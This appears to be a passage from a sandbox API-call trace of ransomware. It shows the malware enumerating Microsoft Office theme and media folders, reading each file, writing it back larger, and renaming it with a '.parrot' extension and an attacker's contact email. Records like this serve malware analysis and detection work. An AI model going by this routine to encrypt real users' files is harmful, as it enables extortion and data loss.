lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\verve.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.168] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.168] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.176] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.177] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xdf9, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xdf9, lpOverlapped=0x0) returned 1 [0161.177] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0161.177] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.177] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0161.177] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0161.177] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\waveform.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\waveform.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.181] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0161.181] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xec1bf480, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xec1bf480, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0161.181] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebcd6720, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.xml.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ADJACE~1.PAR")) returned 1 [0161.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0161.182] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.182] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0161.183] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.183] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a23c, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x2a23c, lpOverlapped=0x0) returned 1 [0161.185] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0161.189] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0161.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0161.198] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\trek.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\trek.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.202] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.202] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0161.204] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.204] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfc70, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xfc70, lpOverlapped=0x0) returned 1 [0161.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0161.208] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0161.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0161.210] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\urban.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\urban.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.213] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.213] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0161.250] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.250] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12600, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x12600, lpOverlapped=0x0) returned 1 [0161.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0161.256] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0161.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0161.257] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\verve.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\verve.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.262] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.262] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0161.264] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.264] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2c681, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x2c681, lpOverlapped=0x0) returned 1 [0161.266] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0161.272] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0161.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0161.280] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\waveform.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\waveform.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.287] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0161.287] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xec2a3cc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xec2a3cc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0161.288] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe9c67b60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xd1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.thmx.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ADJACE~1.PAR")) returned 1 [0161.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df78 [0161.288] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0161.289] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0161.289] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0161.289] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0161.289] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0161.289] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10", cAlternateFileName="")) returned 1 [0161.289] lstrcmpW (lpString1="CAGCAT10", lpString2=".") returned 1 [0161.289] lstrcmpW (lpString1="CAGCAT10", lpString2="..") returned 1 [0161.289] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0161.289] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b958 [0161.289] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8e) returned 0x658780 [0161.289] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0161.303] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0161.303] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0161.306] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0161.306] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0161.306] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0161.306] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0161.306] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0161.306] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0161.307] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0161.307] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0161.307] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0161.308] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0161.308] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0161.308] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11d8d700, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x11d8d700, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c450, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.MML", cAlternateFileName="")) returned 1 [0161.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0161.309] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.309] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0161.311] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.311] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4c450, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4c450, lpOverlapped=0x0) returned 1 [0161.315] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0161.315] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0161.315] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0161.315] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0161.315] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0161.315] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0161.315] GetLastError () returned 0x0 [0161.323] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.323] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0161.323] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0161.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0161.323] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0161.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0161.323] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0161.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0161.323] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0161.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0161.323] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0161.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0161.323] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0161.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0161.323] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0161.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0161.323] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0161.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0161.323] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0161.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0161.323] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0161.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0161.323] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b958 [0161.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0161.323] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0161.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b958 | out: hHeap=0x5b0000) returned 1 [0161.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x60ede8 [0161.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0161.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0161.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ede8 | out: hHeap=0x5b0000) returned 1 [0161.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x2268068 [0161.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0161.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0161.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2268068 | out: hHeap=0x5b0000) returned 1 [0161.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d33c8 [0161.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0161.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5cabe0 [0161.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0161.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0161.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0161.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0161.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0161.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0161.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0161.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0161.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0161.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x2262048 [0161.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0161.325] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x227c058 [0161.325] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262048 | out: hHeap=0x5b0000) returned 1 [0161.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x22807a8 [0161.329] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x227c058 | out: hHeap=0x5b0000) returned 1 [0161.329] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x2287288 [0161.329] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22807a8 | out: hHeap=0x5b0000) returned 1 [0161.329] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x22912b8 [0161.330] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2287288 | out: hHeap=0x5b0000) returned 1 [0161.340] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x22a02f0 [0161.341] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22912b8 | out: hHeap=0x5b0000) returned 1 [0161.341] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x21c32) returned 0x227c058 [0161.341] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22a02f0 | out: hHeap=0x5b0000) returned 1 [0161.341] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x32a39) returned 0x3198458 [0161.344] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x227c058 | out: hHeap=0x5b0000) returned 1 [0161.344] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4bf44) returned 0x227c058 [0161.345] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0161.347] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x71ed4) returned 0x3198458 [0161.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x227c058 | out: hHeap=0x5b0000) returned 1 [0161.350] WriteFile (in: hFile=0x284, lpBuffer=0x3198460*, nNumberOfBytesToWrite=0x4c578, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x3198460*, lpNumberOfBytesWritten=0x18ebe4*=0x4c578, lpOverlapped=0x0) returned 1 [0161.353] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: 